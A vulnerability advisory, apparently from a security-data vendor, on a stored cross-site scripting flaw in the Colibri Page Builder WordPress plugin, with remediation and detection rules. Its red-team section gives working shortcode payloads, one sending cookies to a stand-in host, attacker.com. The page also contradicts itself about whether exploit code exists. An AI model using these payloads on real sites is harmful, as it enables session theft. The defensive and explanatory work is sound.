CVE-2024-5038
Executive Summary
CVE-2024-5038 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress. The flaw exists in all versions up to and including 1.0.276, due to insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts that execute whenever a victim visits the compromised page. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for persistent, widespread impact across the WordPress site. As of this report, no official patch has been released, and no public exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Colibri Page Builder plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should monitor the plugin's page for updates and consider disabling the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS means a single injection can affect all visitors.
Deep Dive & Mechanics
The Colibri Page Builder plugin registers several shortcodes that allow users to embed dynamic content. The vulnerability lies in how these shortcodes handle user-supplied attributes. Specifically, the plugin fails to properly sanitize input and escape output when rendering shortcode attributes. An attacker with contributor-level access can create or edit a post/page and insert a malicious shortcode with crafted attributes containing JavaScript.
For example, a shortcode like [colibri_shortcode attr="<script>alert('XSS')</script>"] would be processed without sanitization, and the injected script would be stored in the database. When any user (including administrators) views the page, the script executes in their browser context.
The attack flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or edits an existing one.
- Attacker inserts a malicious shortcode with XSS payload in an attribute.
- The payload is stored in the WordPress database.
- Victim visits the compromised page.
- The payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described generically.
Vulnerable Code (Conceptual):
function colibri_shortcode_handler($atts) {
// No sanitization or escaping
$output = '<div class="' . $atts['class'] . '">Content</div>';
return $output;
}
Patched Code (Conceptual):
function colibri_shortcode_handler($atts) {
// Sanitize and escape output
$class = esc_attr(sanitize_html_class($atts['class']));
$output = '<div class="' . $class . '">Content</div>';
return $output;
}
The patched version uses sanitize_html_class() to strip dangerous characters and esc_attr() to safely output the value.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code exists, a manual exploitation approach is described.
Prerequisites:
- WordPress instance with Colibri Page Builder <= 1.0.276
- Contributor-level account credentials
Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- Switch to Text/Code editor mode.
- Insert a shortcode with a malicious attribute:
[colibri_shortcode class="my-class\" onmouseover=\"alert(document.cookie)\""] - Publish the post.
- When an administrator or visitor hovers over the element, the XSS triggers.
Alternative payload (auto-execute):
[colibri_shortcode class="my-class\"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing suspicious shortcode attributes.
- Look for patterns like
onerror=,onmouseover=,<script>in shortcode attributes. - Use WAF rules to block common XSS payloads in POST requests.
Hardening:
- Disable the Colibri Page Builder plugin until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a WordPress security plugin that scans for malicious shortcodes.
Indicators of Compromise (IOCs)
File Indicators:
- Modified posts/pages containing shortcodes with suspicious attributes.
- Presence of JavaScript payloads in the
wp_poststablepost_contentcolumn.
Network Indicators:
- Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP requests containing XSS payloads in shortcode attributes.
Log Indicators:
- WordPress audit logs showing creation/editing of posts by contributor accounts with unusual shortcode usage.
- Web server logs showing requests to pages with injected shortcodes.
Detection Engineering
YARA Rule
rule CVE_2024_5038_Colibri_XSS {
meta:
description = "Detects stored XSS payloads in Colibri Page Builder shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5038"
strings:
$shortcode = /\[colibri_[a-z_]+\s+[^\]]*?(on\w+=|<script|<img|<svg|javascript:)/i
$payload = /(alert|prompt|confirm|fetch|XMLHttpRequest|eval|document\.cookie)/i
condition:
$shortcode and $payload
}
Sigma Rule
title: CVE-2024-5038 Colibri Page Builder Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Colibri Page Builder shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'colibri_'
cs-uri-query|re: '\[colibri_[a-z_]+\s+[^\]]*?(on\w+=|<script|<img|<svg|javascript:)'
condition: selection
falsepositives:
- Legitimate use of shortcodes with similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5038 Colibri Page Builder Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"colibri_"; http_client_body; pcre:"/\[colibri_[a-z_]+\s+[^\]]*?(on\w+=|<script|<img|<svg|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – If the Colibri Page Builder is not critical, deactivate and delete it until a patch is available.
- Restrict user roles – Remove contributor-level access from untrusted users.
- Apply virtual patching – Use a WAF to block requests containing XSS patterns in shortcode attributes.
Long-term Fix:
- Monitor the WordPress plugin repository for an official update.
- If the plugin is abandoned, consider migrating to an alternative page builder.
- Implement a Content Security Policy (CSP) to prevent execution of inline scripts.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Regularly scan WordPress posts for malicious shortcodes.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.